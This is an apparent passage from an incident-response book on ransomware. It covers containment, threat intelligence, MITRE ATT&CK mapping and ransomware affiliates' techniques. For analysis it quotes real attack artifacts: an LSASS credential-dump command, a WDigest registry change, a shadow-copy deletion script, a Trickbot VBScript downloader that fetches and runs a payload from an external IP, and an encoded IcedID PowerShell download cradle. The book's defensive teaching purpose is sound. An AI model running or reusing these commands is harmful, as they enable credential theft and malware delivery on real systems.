TeamViewer

AnyDesk

SupRemo

Remote Utilities

Atera RMM

Splashtop

ScreenConnect

What does this mean? You better block them as well once you have started your engagement.

As you already know, most threat actors exfiltrate data, so, if you reacted to some of ransomware precursors and you suspect the attackers to be still in the network, it's better to block common cloud file-sharing services, such as MEGA, DropMeFiles, MediaFire, and the rest.

Of course, in some cases – for example, when you're dealing with the initial access – it may be enough to isolate the compromised host, so you can do it even before the analysis stage – we don't want the threat actors to be able to move laterally.

The threat actors love obtaining elevated (and even not-so-elevated) credentials and valid accounts in general, so if you found any evidence pointing to compromised credentials, it's a good idea to change passwords for them.

Once you have isolated the threat actors from the compromised environment, and you don't see any traces of follow-on malicious activity, you can start removing the malware and tools used by the threat actors.

Removing scripts and tools, which doesn't require installation, is very simple and straightforward.

Remote access tools such as TeamViewer have user-friendly uninstallers, so removing them from compromised hosts is also a quite simple task.

With malware, the process may be a bit tricky. Why? For example, it can be fileless – so there no payload on disk, so it's memory only. Also, quite often, malware gains persistence on the compromised system, so it can service reboots.

Here are some very common persistence mechanisms leveraged by malware involved in ransomware attacks:

Registry run keys / startup folder

Windows service

Scheduled task

Of course, it may not be necessary to remove a persistence mechanism if you have already removed the malware, but sometimes it may cause unwanted detection. Recently, I had a case where the client found a malicious service related to Cobalt Strike – my team responded immediately, but soon found out that it's just a remnant of a past attack the client's team responded to a few years ago.

So, you've blocked the command and control servers, changed the passwords for compromised accounts, and removed the malware and attackers' tools. That's it? You are ready to put this workstation or server back into production? Well, if you are 100% sure it's clean – why not? If not – it may be a better idea to reimage the host.

OK, there may be another problem – the network is already encrypted. Usually, here we have two choices – negotiate with the threat actors and pay the ransom, or rebuild the infrastructure from scratch.

Decryptors provided by the threat actors may be another problem. I know, you love examples, and here is another one. ProLock ransomware operators were quite active from April to June 2020, and some victims, of course, decided to pay the ransom and received the decryptor. But there was a problem. It didn't work properly: files larger than 64 MB might become corrupted during the decryption process. Once this information became public, it affected the threat actors' reputation, so very soon ProLock disappeared.

Of course, not all decryptors work like this. Many threat actors provide executables, which really decrypt everything. Still, organizations may be in danger even after payment – there are cases where the threat actors attacked such companies again and again, planning to earn even more money.

So, after such successful attacks, especially if the organization decided to pay, it's extremely important to improve the security posture, so it'll be ready to follow up cyberattacks – that's what the last stage, post-incident activity, is all about.

Post-incident activity

At the final stage, the incident response team should help the affected organization to understand why the threat actors managed to successfully breach it and achieve their goals, and what to do to avoid similar situations in the future.

Of course, the incident life cycle may be quite different; it depends on the ransomware affiliates. So, based on what you have observed, you may form a list of recommendations. Let's look at the most common examples.

As you already know, many ransomware attacks start from exposed RDP-servers, so if that's the case, a good recommendation would be to choose other methods of remote access, or, for example, implement multi-factor authentication for such RDP connections.

Talking about public-facing parts of affected infrastructure, the organization should make sure all vulnerabilities, especially those allowing the threat actors to obtain valid credentials or run code remotely, are patched.

If spear phishing was the root cause, it may require additional training for personnel or improving security for email traffic, for example, implementing malware detonation systems – advanced sandboxes that analyze each attachment or link in both incoming and outgoing emails.

The same can be said about security products focused on the internal network – in some cases, they just need to be tuned properly; in others, they need to be changed. Also, they can require more monitoring capabilities and additional personnel, who, of course, need to be trained.

Finally, if backups were present and were eventually deleted – as you already know, this is quite a common threat actor strategy – the organization should think about better protection, for example, implementing the 3-2-1 rule, using separate accounts for accessing backup servers, and implementing multi-factor authentication for any type of access.

Again, this is not the whole list of post-incident activities, but some examples, so you can have a good understanding of what's commonly done on this stage.

I hope it is now quite clear what a typical incident response process looks like in general; for more details, please refer to Computer Security Incident Handling Guide by NIST.

Summary

In this chapter, we have walked through the various stages of the incident response process, so now you have a good understanding of how to deal with ransomware attacks, at least in general. Of course, we'll keep moving further and further, so you have a more and more detailed understanding.

You have already learned that cyberthreat intelligence is a very important part of incident response, so in the next chapter, we'll discuss it on various levels, focusing on ransomware attacks, of course. We'll look through an open source threat report, and extract various types of intelligence from it, so you have a solid understanding of their differences.

*Chapter 4*: Cyber Threat Intelligence and Ransomware

Cyber threat intelligence is a very important part of incident response. After reading the previous chapter, you should be well informed about the current threat landscape and techniques leveraged by threat actors. You should know to perform your analysis fast and move to the next stages of the incident response process.

We'll discuss various types of cyber threat intelligence: strategic, operational, and tactical. Of course, practice is preferable, so we'll base our discussion on an open source report so that, together, we can distinguish various parts of it from various types of intelligence.

So, in this chapter we'll look at each type of cyber threat intelligence through the ransomware prism:

* The *who* and *why* – strategic cyber threat intelligence
* The *how* and *where* – operational cyber threat intelligence
* The *what* – tactical cyber threat intelligence

Strategic cyber threat intelligence

Strategic cyber threat intelligence is usually focused on decision-makers (**Chief Information Security Officers** (**CISOs**), **Chief Information Officers** (**CIOs**), **Chief Technology Officers** (**CTOs**), and so on), as it describes high-level trends and threat actors' motives, and generally allows us to understand the *who* and *why*. This empowers the CISO/CIO and any cyber executive to have a technical and tactical understanding, along with foresight on what new threat actor trends are up and coming.

So, the *who* refers to the threat actors targeting or potentially targeting the organization, and the *why* to their motivation.

In terms of motives, ransomware threat actors are quite predictable in that they are financially motivated. Their main goal is to get money, which is usually a significant amount, from the victim.

Another important thing is the threat actors' targets. For example, some ransomware operators don't target hospitals, the government sector, critical infrastructures, and so on. A good example of this would be **BlackMatter** operators, who forbid their affiliates to attack the following organizations:

Figure 4.1 – The rules section of the BlackMatter ransomware website__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 4.1 – The rules section of the BlackMatter ransomware website

Let's continue with examples and look at an open source report provided by the **SentinelLabs** team, entitled *Hive Attacks | Analysis of the Human-Operated Ransomware Targeting Healthcare*. This report is available here: [**https://labs.sentinelone.com/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/**](https://labs.sentinelone.com/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/).

From the very beginning, we can get an important piece of strategic cyber threat intelligence – the group (or groups) operating Hive ransomware targets healthcare! Yes, some operators and their affiliates may target certain areas of business or certain industries, or even certain countries. The researchers present Memorial Healthcare System hospitals in Ohio as an example. As the result of this ransomware attack, the organization had to divert emergency care patients from a number of its hospitals to other facilities. In this case, the threat actors knew and could see that the healthcare industry has very rich environments, which yield high amounts of data. There are many entry points in the medical industry that allow the threat actors to come and go as they please. If we dig deeper at this point and analyze victims' data, available at the threat actors' **Dedicated Leak Site** (**DLS**), we can find even more data related to the attacks, such as the following example:

Figure 4.2 – Victim information extracted from the Hive DLS__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 4.2 – Victim information extracted from the Hive DLS

Of course, the victim list isn't limited to healthcare organizations, and so analysis may reveal a more detailed overview of the targets. This will allow the decision-makers to have a clear understanding of whether the threat is real for their business or not.

Additionally, we can see from the report that the group (or groups) behind the Hive ransomware strain is quite active. They became active in late June 2021 but have already performed at least 30 successful attacks. This fact may also help to prioritize the defensive strategy.

Let's dive more into the details and look at pieces of operational cyber threat intelligence we can extract from the report.

Operational cyber threat intelligence

Operational cyber threat intelligence helps to understand threat actors' capabilities, provides insights on their infrastructure, and, of course, tactics, techniques, and procedures. This type of intelligence allows us to understand the *how* and the *where*, so it's focused on **Security Operation Center** (**SOC**) analysts, incident responders, threat hunters, and so on.

As you may have already understood, the *how* allows defenders to collect information about various threat actors' tactics, techniques, and procedures, and make sure they can be easily detected and mitigated. The *where* allows the defender to use a proactive approach, as they become aware of where to look for various tactics, techniques, and procedures.

Let's continue with the analysis of the report on Hive ransomware from SentinelLabs and start focusing on the *Technical analysis* section.

When we are talking about tactics, techniques, and procedures, or simply **TTPs**, one of the best frameworks to describe them is **MITRE ATT&CK®**.

MITRE ATT&CK® is a globally accessible knowledge base, focused on threat actors' behaviors. At a high level, it consists of the following core components:

* **Tactics**: Tactical adversary goals, such as gaining the initial access to the target network
* **Techniques**: The general means that the threat actors use to achieve their goals, such as using spear-phishing, to gain initial access to the target network
* **Sub-techniques**: More specific means, such as using a weaponized attachment
* **Procedures**: How exactly an adversary uses a technique or sub-technique, such as using a weaponized MS Office document as an attachment in a spear-phishing email

We'll use MITRE ATT&CK® extensively throughout this book, so if you are not aware of the framework, refer to the official website: [**https://attack.mitre.org/**](https://attack.mitre.org/).

The first thing we see in the *Technical analysis* section of the SentinelLabs report is that the initial access vectors may vary. Unfortunately, this report doesn't provide us with available variations. At the same time, we immediately receive some information on the threat actors' favorite framework for post-exploitation, **Cobalt Strike**.

The report also doesn't provide any details on how exactly it was used during their campaigns. At the same time, the researchers share information on the usage of another tool, **ConnectWise**, a legitimate remote administration tool used by threat actors to maintain access to the compromised environment.

As you already know from [***Chapter 3***](https://learning.oreilly.com/library/view/incident-response-techniques/9781803240442/B17985_03_ePub.xhtml#_idTextAnchor032), *The Incident Response Process*, using such tools is a very common technique leveraged by ransomware affiliates.

Of course, MITRE ATT&CK® contains a description of such a technique. Its ID is **T1219** and it's called **Remote Access Software** ([**https://attack.mitre.org/techniques/T1219/**](https://attack.mitre.org/techniques/T1219/)). In short, it means that threat actors may leverage various remote access tools, such as TeamViewer, AnyDesk, and so on, as alternative communication channels for redundant access to compromised hosts.

Let's move on and look at other techniques described in the report:

**\Windows\system32\cmd.exe /C rundll32.exe**

**\Windows\System32\comsvcs.dll MinDump 752 lsass.dmp full**

First of all, we can see that the threat actors leveraged **cmd.exe** for execution. Here, we have a sub-technique, **Windows Command Shell** (**T1059.003**).

Also, the attackers used **rundll32.exe** – this is as an example of a **signed binary proxy execution** sub-technique (**T1218.011**), leveraged by the threat actors for defense evasion.

Finally, the main goal we see here is getting access to the credential. In this case, it is done via abusing the legitimate **comsvcs.dll** library to dump an **lsass.exe** process, which is a sub-technique of **OS credential dumping** – **Local Security Authority Subsystem Service** (**LSASS**) **memory** (**T1003.001**).

Why do the attackers need to dump it? This is because the system stores various credential materials in its process space, so if the threat actors can successfully dump it, they can use various tools to extract valid credentials from it.

To enable caching of cleartext credentials, the threat actors performed registry modification, leveraging **cmd.exe** again:

\Windows\system32\cmd.exe /C reg add

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v

UseLogonCredential /t REG\_DWORD /d 1 && gpupdate /force

Here, we have another technique documented in MITRE ATT&CK® – **modify registry** (**T1112**).

Another valuable piece of information presented in this report is that the threat actors used **ADRecon** during the post-exploitation phase. This is another popular tool used by many ransomware affiliates during the discovery phase, so they can extract various artifacts from an active directory environment. Again, there's no information on how exactly it was used during this campaign. However, since it's a PowerShell-based tool, we can identify another sub-technique of **command and scripting interpreter** – **PowerShell** (**T1059.001**). PowerShell scripts are extremely common, so you'll face their usage at almost any incident response engagement related to a human-operated ransomware attack.

The next section of the report is dedicated to the analysis of the Hive ransomware payload itself. It can also reveal some information on threat actors' TTPs. The first thing we can see is that it's written in **Go**, which is becoming more and more popular among ransomware threat actors. Another important thing is that it's packed with **UPX**, a common packer used by many threat actors to bypass at least some defenses. Here, we are dealing with a sub-technique of **obfuscated files or information** – **software packing** (**T1027.002**).

Next, we can see another very common technique leveraged by many ransomware threat actors – stopping a list of processes and services, so that everything will be encrypted successfully. Of course, there's a documented technique in MITRE ATT&CK® for this – **service stop** (**T1489**).

Let's go further – the ransomware creates a batch file with the filename **hive.bat**, which is used to remove the components of the malware. Here are its contents:

timeout 1 || sleep 1

del "C:\Users\admin1\Desktop\hmod4.exe"

if exist "C:\Users\admin1\Desktop\hmod4.exe" goto Repeat

del "hive.bat"

Here, we have a sub-technique of **indicator removal on host** – **file deletion** (**T1070.004**).

It wasn't the only batch file created by the ransomware. There was another file with the filename **shadow.bat**. This file was used to remove shadow copies, so the files couldn't be recovered using built-in capabilities.

Here are the contents of the batch file:

vssadmin.exe delete shadows /all /quiet

del shadow.bat

In terms of the techniques, here we are facing **inhibit system recovery** (**T1490**).

As we are dealing with ransomware, the last (but not least) technique presented is, of course, **data encrypted for impact** (**T1486**).

Let's summarize our findings in a table:

Table 4.1 – MITRE ATT&CK mapping__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Table 4.1 – MITRE ATT&CK mapping

As you can see from the table, we couldn't reconstruct the whole attack life cycle from the report, but we still extracted many TTPs, which can be used both during incident response engagements and threat-hunting missions.

We'll continue analyzing open source reports in [***Chapter 6***](https://learning.oreilly.com/library/view/incident-response-techniques/9781803240442/B17985_06_ePub.xhtml#_idTextAnchor095), *Collecting Ransomware-Related Cyber Threat Intelligence*.

Tactical cyber threat intelligence

Tactical cyber threat intelligence helps to various security products to operate, such as **Security Information and Event Management** (**SIEM**), firewalls, **Intrusion Detection Systems/Intrusion Prevention Systems** (**IDS/IPS**), and so on, with **Indicators of Compromise** (**IoC**).

This level of cyber threat intelligence focuses on the *what*. Traditionally, this type of intelligence was the most common, and many vendors provided so-called *feeds*, but nowadays, more and more organizations focus on TTPs, as classic indicators have a very short life cycle.

In most cases, these indicators consist of IP addresses, domain names, and hashes. Usually, the hashes are of the following types:

* MD5
* SHA1
* SHA256

Such indicators can be easily shared with the help of cyber threat intelligence platforms, such as MISP, and can be used both for research and detection purposes.

Let's get back to the report we are analyzing. There's a section called *Indicators of compromise*. It contains a bunch of hashes of both SHA1 and SHA256 types. As the hashes belong to the same files, let's focus on the first set, which is SHA1:

* **67f0c8d81aefcfc5943b31d695972194ac15e9f2**
* **edba1b73ddd0e32784ae21844c940d7850531b82**
* **2877b32518445c09418849eb8fb913ed73d7b8fb**
* **cd8e4372620930876c71ba0a24e2b0e17dcd87c9**
* **eaa2e1e2cb6c7b6ec405ffdf204999853ebbd54a**
* **0f9484948fdd1b05bad387b14b27dc702c2c09ed**
* **e3e8e28a70cdfa2164ece51ff377879a5151abdf**
* **9d336b8911c8ffd7cc809e31d5b53796bb0cc7bb**
* **1cc80ad88a022c429f8285d871f48529c6484734**
* **3b40dbdc418d2d5de5f552a054a32bfbac18c5cc**
* **2f3273e5b6739b844fe33f7310476afb971956dd**
* **7777771aec887896be773c32200515a50e08112a**
* **5dbe3713b309e6ecc208e2a6c038aeb1762340d4**
* **480db5652124d4dd199bc8e775539684a19f1f24**
* **Dc0ae41192272fda884a1a2589fe31d604d75af2**

If we look at the hashes thoroughly, and use, for example, VirusTotal – a free service that analyzes various kinds of malicious content ([**https://www.virustotal.com/**](https://www.virustotal.com/)) – for identification purposes, we can find that all of them belong to Hive ransomware samples:

Figure 4.3 – VirusTotal detections for one of the hashes__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 4.3 – VirusTotal detections for one of the hashes

From the detection perspective, they are not very useful, as ransomware samples are crafted for the attack in most cases, and so the hashes won't match.

Also, there's an IP address in the report, which belonged to **Cobalt Strike Beacon**. You can always collect more information about IP addresses, especially those belonging to various post-exploitation frameworks. For example, we can check whether the server is still related to Cobalt Strike:

Figure 4.4 – Information related to the IP address in question, collected by the Group-IB Threat Hunting Framework__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 4.4 – Information related to the IP address in question, collected by the Group-IB Threat Hunting Framework

To use another example, the Group-IB Threat Hunting Framework has a built-in graph feature, which can be used for collecting more information about indicators you collected. In the preceding screenshot, we can see that the IP address in question, **176.123.8.228**, is still a Cobalt Strike server, so it is worth being blocked or monitored by the security team.

As you can see, even as a result of the analysis of a short open source report, an experienced analyst can collect a good amount of cyber threat intelligence, which can be very useful during ongoing or future incident response engagements.

Summary

In this chapter, we discussed various types of cyber threat intelligence, including strategic, operational, and tactical, focusing on their differences and target audiences. We also looked through an open source threat report and extracted various types of cyber threat intelligence, so that you could get a solid understanding of the differences.

You already know that TTPs are the most important parts of threat actors' modus operandi, so in the next chapter, we'll look at many real-world examples. This way, you can get a good awareness of human-operated ransomware attacks.

*Chapter 5*: Understanding Ransomware Affiliates' Tactics, Techniques, and Procedures

We have already discussed various topics related to both ransomware itself and incident response. By now, you should have a good general understanding of how such attacks work and why having proper incident response is a must when you're dealing with human-operated ransomware.

But to be effective during your incident response engagements, having a general understanding of the attack's life cycle isn't enough as the threat actors usually use diverse **tactics, techniques, and procedures** (**TTPs**) to complete their mission.

As you may already know, ransomware-as-a-service programs make this even worse as there can be a lot of affiliates engaged in the attacks. Even for the same ransomware strain, the affiliates' TTPs may be extremely different.

This chapter will help you dive into the details of how the threat actors involved in human-operated ransomware attacks behave at various stages of the attack life cycle (based on MITRE ATT&CK). In particular, we'll cover the following topics:

* Gaining initial access
* Executing malicious code
* Obtaining persistent access
* Escalating privileges
* Bypassing defenses
* Accessing credentials
* Moving laterally
* Collecting and exfiltrating data
* Deploying ransomware

Gaining initial access

Gaining initial access to the target network is a vital part of any intrusion, and ransomware attacks are not an exception.

Since various threat actors are involved in human-operated ransomware attacks, we, as incident responders, can face almost any tactic during our engagements.

Still, one of the most common tactics that's used by ransomware affiliates is abusing external remote services, such as **Remote Desktop Protocol** (**RDP**), so it's going to be our starting point.

**External remote services (T1133)**

Using external remote services to obtain initial access is extremely common. For example, according to Group-IB's Ransomware Uncovered 2020/21 report, more than 50% of all human-operated ransomware attacks started from compromising a public-facing RDP server. The COVID-19 pandemic made it even worse; many companies required workplaces for remote personnel, which gave rise to even more poorly secured servers emerging on the world map.

Here's an example of a login screen of one such public-facing server:

Figure 5.1 – Public-facing RDP server's login screen__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.1 – Public-facing RDP server's login screen

The default port for Remote Desktop Services is **3389**, so if we use a search engine for internet-connected devices such as Shodan, we will see that there are millions of such servers, and that's one of the reasons why abusing them is one of the most common tactics:

Figure 5.2 – Shodan search results__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.2 – Shodan search results

As you can see, there're more than 1,500,000 such servers in the United States, and it's another reason for the popularity of this tactic; organizations in the USA are common targets of various ransomware affiliates.

So, how do they gain access to public-facing RDP servers? The most common way is performing a brute-force attack using a dictionary with the most common passwords. Surprisingly, this approach works well for threat actors.

A common approach is to use **masscan** to scan the internet for any public-facing RDP servers and then use tools such as **NLBrute** to perform the actual brute-force attack. The threat actors may not even need to run such attacks themselves – they can obtain such access from various underground markets and initial access brokers.

Here are some examples of such underground markets:

* RussianMarket
* Odin
* UAS RDP Shop
* Xleet
* Infinity Shop

It's important to note that access to a public-facing RDP server may cost a few dollars:

Figure 5.3 – RDP servers for sale on UAS RDP Shop__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.3 – RDP servers for sale on UAS RDP Shop

Of course, RDP isn't the only type of external remote service that's abused by threat actors. Another very common type is **Virtual Private Network** (**VPN**) access.

Again, ransomware affiliates may perform brute-force attacks to gain VPN credentials or, for example, exploit vulnerabilities in related software. We'll discuss this in the next section, *Exploiting public-facing applications (T1190)*.

Just like RDP-access, this type of access can be obtained from the initial access brokers. Here's an example of such an advertisement on a Russian underground forum:

Figure 5.4 – A post from a Russian underground forum collected by the Group-IB Threat Intelligence & Attribution platform__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.4 – A post from a Russian underground forum collected by the Group-IB Threat Intelligence & Attribution platform

As you can see, obtaining initial access via external remote services is extremely easy, especially during the COVID-19 pandemic. However, it's not the only way. Let's look at another common tactic – exploiting public-facing applications.

**Exploiting public-facing applications (T1190)**

Exploiting public-facing applications is another common tactic that's leveraged by many threat actors involved in human-operated ransomware attacks.

You already know that ransomware affiliates compromise RDP servers often; they can either run a brute-force attack or just buy access to underground markets or initial access brokers.

At the same time, there are some vulnerabilities in Microsoft's RDP implementation, such as **BlueKeep** (CVE-2019-0708). Exploiting it allows the threat actors to execute code remotely on a vulnerable server, and it's known to be used in the wild, such as by **LockBit** ransomware affiliates.

The same can be said about VPN access. Multiple vulnerabilities are exploited by threat actors that allow them to gain VPN access to the target network. Let's look at some of the most common ones.

A path traversal vulnerability in **Fortinet, FortiOS,** and **FortyProxy** (CVE-2018-13379) allowed various ransomware affiliates to collect system files, including those containing credentials, so it could be used to gain VPN access to the network.

Another VPN-related arbitrary file-reading vulnerability is the one in **Pulse Secure Pulse Connect Secure** (CVE-2019-11510). Its exploitation allows threat actors to access private keys and user passwords. This vulnerability was actively exploited by REvil ransomware affiliates.

Finally, there was such a vulnerability in **SonicWall SMA100** (CVE-2019-7481). This one was intensively exploited by **HelloKitty** ransomware affiliates.

Of course, vulnerabilities that are exploited by threat actors to gain initial access are not limited to RDP and VPN.

For example, Cl0p ransomware affiliates exploited multiple vulnerabilities in **Accellion FTA**:

* CVE-2021-27101: A SQL injection vulnerability
* CVE-2021-27102: An OS command injection vulnerability
* CVE-2021-27103: A **Server-Side Request Forgery** (**SSRF**) vulnerability
* CVE-2021-27104: Another OS command injection vulnerability

These vulnerabilities allowed the threat actors to deploy a web shell to vulnerable instances and use it for data exfiltration as FTA was used by companies for securely transferring large files.

Another vulnerability that's been exploited by ransomware affiliates such as Nefilim is the one in Citrix **Application Delivery Controller** (**ADC**) and **Gateway** (CVE-2019-19781). As a result, the threat actors could execute commands on the target server.

Finally, this year weaponized threat actors with multiple vulnerabilities in Microsoft Exchange servers, including **ProxyLogon** (CVE-2021-26855) and **ProxyShell** (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207).

Of course, ransomware affiliates added corresponding exploits to their arsenals. For example, the Conti ransomware affiliates used the ProxyShell vulnerability to download a web shell to the target server so that it can be used for further post-exploitation activities.

Public servers and applications are very common targets of ransomware affiliates, but usually, there aren't too many of them. What's more, they can be patched and/or have strong passwords. So, the threat actors have to look for other targets, such as regular users, in a corporate network. And that's when phishing comes into play.

**Phishing (T1566)**

Historically, phishing has been one of the most preferable ways of obtaining initial access, both for state-sponsored and financially-motivated threat actors.

Nowadays, many trojans (or bots), which are commonly delivered via spam emails, are used by ransomware affiliates to gain initial access to the target network. The list of such malware includes Bazar, Qakbot, Trickbot, Zloader, Hancitor, and IcedID.

To deliver them, the threat actors usually use weaponized email attachments, such as Microsoft Office files, scripts in archives, or just links to such files.

The threat actors may be very creative in crafting phishing emails. In some cases, such emails look so good that even some security professionals may believe such emails are legit. Here's an example of a spam email with a phishing link distributed by Hancitor operators:

Figure 5.5 – An example of spam email content being used by Hancitor operators__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.5 – An example of spam email content being used by Hancitor operators

Clicking this phishing link would lead the user to a malicious Microsoft Office document download page.

The threat actors don't always include links to phishing emails, though. Another way is to attach a weaponized file to it:

Figure 5.6 – An example of spam email content being used by Qakbot operators__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.6 – An example of spam email content being used by Qakbot operators

Once the victim downloads it, they should open it and, in most cases, enable the macros inside so that the malicious payload can be dropped or downloaded from an attacker-controlled or compromised server.

Commonly, such malicious documents contain instructions on how to enable the macros:

Figure 5.7 – A malicious document's contents__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.7 – A malicious document's contents

The main idea of such a document's content is to lure the victim to enable the malicious content. But if the victim has proper email security, it may be hard for the threat actor to deliver malicious links or attachments, so they have to be more creative. And they are!

**Wizard Spider**, the operators of Bazar, Trickbot, Ryuk, Conti, and Diavol, used phishing emails with information on paid subscriptions and provided a phone number in the email's body so that the victim could cancel the subscription. Of course, there weren't any real subscriptions, but here, **vishing** (or voice phishing) came into play. Phone operators lured the victim to a fake website to download a form they needed for canceling. Here's an example of such a fake website:

Figure 5.8 – A fake website distributing malicious documents__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.8 – A fake website distributing malicious documents

Of course, the only goal of such fake websites was to deliver malicious documents.

It is not too hard to find out if the vishing effort is real or not. By asking a few different questions and pushing forward on the matter at hand, sometimes, the threat actor gives up.

Another example is **malvertising**. For example, Zloader operators produce malicious advertisements, so if the victim uses proper keywords during Google searches, they are redirected to an attacker-controlled website hosting a malicious file:

Figure 5.9 – A fake website distributing Zloader__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 5.9 – A fake website distributing Zloader

In rare cases, the threat actors leverage even more sophisticated initial access tactics, such as supply chain attacks.

**Supply chain compromise (T1195)**

Supply chain attacks are not very common for ransomware affiliates as it usually requires a lot of effort to perform such attacks. Even though supply chain attacks are low-hanging fruit that produce tons of value for the threat actor, they're not very common or not commonly heard of or disclosed. Still, there are some examples of such attacks leading to ransomware deployment.

The first one was performed by one of the REvil ransomware affiliates where an Italian version of the WinRar website was compromised, so the installers started to deliver a REvil payload.

The other example is even more interesting – one of Darkside's ransomware affiliates compromised the SmartPSS software website, so the installers started to deliver the SMOKEDHAM backdoor. More information on this attack is available in the following FireEye blog: [**https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html**](https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html).

Since we've discussed the most common initial access tactics, let's move on and look at how threat actors execute malicious code on the target systems.

Executing malicious code

Once the threat actors successfully gain access to the target system, they need to execute various payloads or dual-use tools to solve various post-exploitation tasks.

There are multiple techniques to do so. Let's look at the most commonly observed human-operated ransomware intrusions.

**User execution (T1204)**

As you already know, many threat actors actively leverage phishing to obtain initial access, and in most cases, the victims must interact with attachments or links so that the malicious code can be executed. With these two combined, there is a lot a threat actor can potentially gain access to.

We can also look at this technique from another perspective. For example, if ransomware affiliates gain access through a public-facing RDP server, they usually immediately have access to elevated credentials, such as the administrator account. So, in this case, they may play the role of the malicious user and execute various commands and tools.

**Command and scripting interpreters (T1059)**

Various command and scripting interpreters may be leveraged by ransomware affiliates on various stages of the attack life cycle to solve various problems.

If we are talking about phishing, you can see that Windows Command Shell, PowerShell, Visual Basic, and even JavaScript are extremely common. But let's look at some examples.

Weaponized Microsoft Word documents are used by threat actors to distribute Trickbot drops and execute malicious VBScripts:

set roro = createobject("wscript.shell")

temppath = roro.expandenvironmentstrings("%localappdata%")

set pipa = createobject("scripting.filesystemobject")

set fsobject = createobject("scripting.filesystemobject")

if pipa.fileexists(temppath & "\kugeecwwcvswe.txt") then

wscript.quit

elseend

if

pipa.createtextfile (temppath & "\kugeecwwcvswe.txt")

urlcount = 1url1 = "http://172.83.155.147/images/

inlinelots.png"

currentdir = fsobject.getparentfoldername(wscript.scriptfullname)

localexepath = currentdir + "\" +fsobject.gettempname + ".dll"

docall

dowloop

  while urlcount < 2

public function dow()on error resume

nextset

request = createobject("winhttp.winhttprequest.5.1")

set file = wscript.createobject("shell.application")

set bstrm = createobject("adodb.stream")

useragent = "mozilla/5.0 (windows nt 6.1; wow64; rv:58.0) gecko/20100101 firefox/58.0"

select case urlcountcase

1

downstr = url1end

select

request.open "get", downstr, false

request.send

errorsend = err.descriptionif

instr(1, errorsend, "serve") then '

urlcount = urlcount + 1

else

bstrm.open

bstrm.type = 1

bstrm.write (request.responsebody)

bstrm.savetofile localexepath

bstrm.closecall

defender

urlcount = urlcount + 1end

ifset

textstream = fsobject.createtextfile("" + wscript.scriptfullname + "")

textstream.write ("suck my feets,faggot")

textstream.closeend

functionpublic function

defenderset

shellok = createobject("wscript.shell")

abc = "ru"+"nd"&"ll3"+"2.e"+"xe " + localexepath + ",runquery"

shellok.run (abc) ,0,false

end function

This script might seem complex, but it's not. It just downloads the **Trickbot** payload (**inlinelots.png**) from **172.83.155[.]147**, saves it to **C:\Users\%user%\AppData\Local folder**, and executes it via **rundll32.exe**. That's it!

Another example is **IcedID**. During one campaign, the threat actors distributed archives with malicious JavaScript files to deliver the trojan.

Once executed, it launches **cmd.exe**, which, in turn, launches **powershell.exe**:

"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGIAaQBvAHIAZQB4AC4AcwBwAGEAYwBlAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

If we decode **base64**, we will see that it's used to download the next stage from the attacker's controlled server.

As you can see, abusing command and scripting interpreters is very common, but often, a script should be executed or macros should be enabled by the victim. Of course, that's not always the case as sometimes, the threat actors use vulnerabilities in software to execute malicious code automatically. PowerShell abuse can seem like it would not make a lot of noise but in reality, it does. PowerShell, with its current monitoring system, makes a lot of noise and sometimes makes it easy to narrow down the focus.

**Exploitation for client execution (T1203)**

We have already discussed how threat actors use vulnerabilities in public-facing applications to gain initial access to the network, but in some cases, they can also exploit vulnerabilities in software that's used for browsing and editing documents, such as Microsoft Office. Hardening the forward-facing vulnerabilities is highly recommended first before you turn your focus inward.

A very good example is a recent vulnerability in **MSHTML** (CVE-2021-40444), which has already been actively exploited by Wizard Spider to deliver Bazar and custom Cobalt Strike payloads.

Built-in tools are abused often. Command and scripting interpreters are only one example; another is **Windows Management Instrumentation** (**WMI**).

**Windows Management Instrumentation (T1047)**

Windows Management Instrumentation is a common tool that's abused by various ransomware affiliates to execute code both locally and remotely, such as a part of lateral movement activities. For example, Cobalt Strike, a post-exploitation framework that's extremely popular among ransomware affiliates, has a built-in capability to abuse WMI for remote code execution.

As you already know, human-operated ransomware attacks may last quite a long time, so the threat actors need to be able to survive reboots and obtain persistent access to the compromised network.

Obtaining persistent access

Often, during post-exploitation activities, ransomware affiliates think about obtaining redundant access to the network. So, during your incident response engagements, you may face various persistence techniques. This step is almost as important as the door kick. Establishing a secondary foothold by setting up a backdoor is a threat actor's way of ensuring they can always come back. Let's look at the most common examples.

**Valid accounts (T1078)**

